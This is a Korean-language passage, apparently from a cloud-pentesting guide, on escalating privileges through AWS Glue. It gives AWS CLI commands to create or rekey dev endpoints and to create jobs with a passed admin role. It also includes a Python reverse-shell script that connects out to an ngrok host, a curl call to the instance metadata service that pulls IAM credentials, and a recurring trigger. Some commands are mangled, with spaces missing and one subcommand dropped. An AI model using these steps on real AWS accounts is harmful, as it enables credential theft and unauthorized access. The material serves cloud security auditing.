이 권한을 가진 사용자는 새로운 AWS Glue 개발 엔드포인트를 설정하고, 이 엔드포인트에 특정 권한을 가진 기존 서비스 역할을 할당할 수 있습니다.
설정 후 공격자는 엔드포인트의 인스턴스에 SSH로 접속하여 할당된 역할의 IAM 자격 증명을 탈취할 수 있습니다:
# Create endpointawsgluecreate-dev-endpoint--endpoint-name<endpoint-name> \--role-arn <arn-role> \--public-key file:///ssh/key.pub# Get the public address of the instance## You could also use get-dev-endpointsawsglueget-dev-endpoint--endpoint-nameprivesctest# SSH with the glue userssh-i/tmp/private.keyec2-54-72-118-58.eu-west-1.compute.amazonaws.com
이 권한을 가진 사용자는 기존 Glue 개발 엔드포인트의 SSH 키를 변경하여 SSH 액세스를 활성화할 수 있습니다. 이를 통해 공격자는 엔드포인트에 연결된 역할의 권한으로 명령을 실행할 수 있습니다:
# Change public key to connectawsglue--endpoint-nametarget_endpoint \--public-key file:///ssh/key.pub# Get the public address of the instance## You could also use get-dev-endpointsawsglueget-dev-endpoint--endpoint-nameprivesctest# SSH with the glue userssh-i/tmp/private.keyec2-54-72-118-58.eu-west-1.compute.amazonaws.com
**iam:PassRole**을 가진 사용자는 glue:CreateJob 또는 glue:UpdateJob 중 하나와 glue:StartJobRun 또는 glue:CreateTrigger 중 하나를 결합하여 AWS Glue 작업을 생성하거나 업데이트할 수 있으며, 임의의 Python 코드를 실행할 수 있는 작업을 시작할 수 있습니다. 이를 통해 역방향 쉘을 설정하는 데 악용될 수 있습니다. 이 역방향 쉘을 사용하여 Glue 작업에 연결된 역할의 IAM 자격 증명을 유출하고 해당 역할의 권한에 따라 잠재적으로 무단 액세스 또는 조치를 취할 수 있습니다:
# Content of the python script saved in s3:#import socket,subprocess,os#s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)#s.connect(("2.tcp.ngrok.io",11216))#os.dup2(s.fileno(),0)#os.dup2(s.fileno(),1)#os.dup2(s.fileno(),2)#p=subprocess.call(["/bin/sh","-i"])#To get the IAM Role creds run: curl http://169.254.169.254/latest/meta-data/iam/security-credentials/dummy# A Glue role with admin access was createdawsgluecreate-job \--name privesctest \--role arn:aws:iam::93424712358:role/GlueAdmin \--command '{"Name":"pythonshell", "PythonVersion": "3", "ScriptLocation":"s3://airflow2123/rev.py"}'# You can directly start the jobawsgluestart-job-run--job-nameprivesctest# Or you can create a trigger to start itawsgluecreate-trigger--nametriggerprivesc--typeSCHEDULED \--actions '[{"JobName": "privesctest"}]'--start-on-creation \--schedule "0/5 * * * * *"#Every 5mins, feel free to change
잠재적 영향: 지정된 글루 서비스 역할로의 권한 상승.
glue:UpdateJob
업데이트 권한만 있어도 공격자가 이미 연결된 역할의 IAM 자격 증명을 도난할 수 있습니다.